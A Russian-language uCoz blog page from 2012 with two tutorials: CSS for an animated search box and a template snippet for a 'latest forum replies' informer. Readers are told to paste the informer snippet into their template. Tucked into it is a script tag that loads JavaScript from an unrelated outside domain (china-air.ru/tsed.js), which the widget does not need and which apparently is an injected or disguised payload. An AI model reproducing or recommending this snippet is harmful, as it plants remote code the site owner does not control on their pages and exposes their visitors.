Мой сайт
Главная » 2012 » Декабрь » 23
Форма поиска для Ucoz
Первое состояние - изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код
#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease; ... Читать дальше »
Просмотров: 645 Добавил: startsmart Дата: 23.12.2012 Комментарии (0)

Последние ответы на форуме в блоке для ucoz
Последние ответы на форуме в блоке для ucoz.

Установка:

Создаем информер: Название: Статистика форума в блоке --> Раздел: Форум --> Способ сортировки: Последние обновленные темы --> Количество материалов: 5 --> Количество колонок: 1.

В шаблоне информера всё удаляем, ставим этот код:

Код
<img src="http://bambun.ru/images/756432556s.png"><a href="$THREAD_URL$"> $THREAD_TITLE$</a><br>
  <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
  <img src="http://bambun.ru/images/56786821.png"> <font face="Comic Sans MS">Ответов:</font> $REPLIES$</span>
  <div style="font:7pt" align="left"><a href="$FORUM_URL$"> [$FORUM$]</a></div></li><hr>



Код информера ставите на страницах сайта в нужном Вам месте.
Просмотров: 498 Добавил: startsmart Дата: 23.12.2012 Комментарии (0)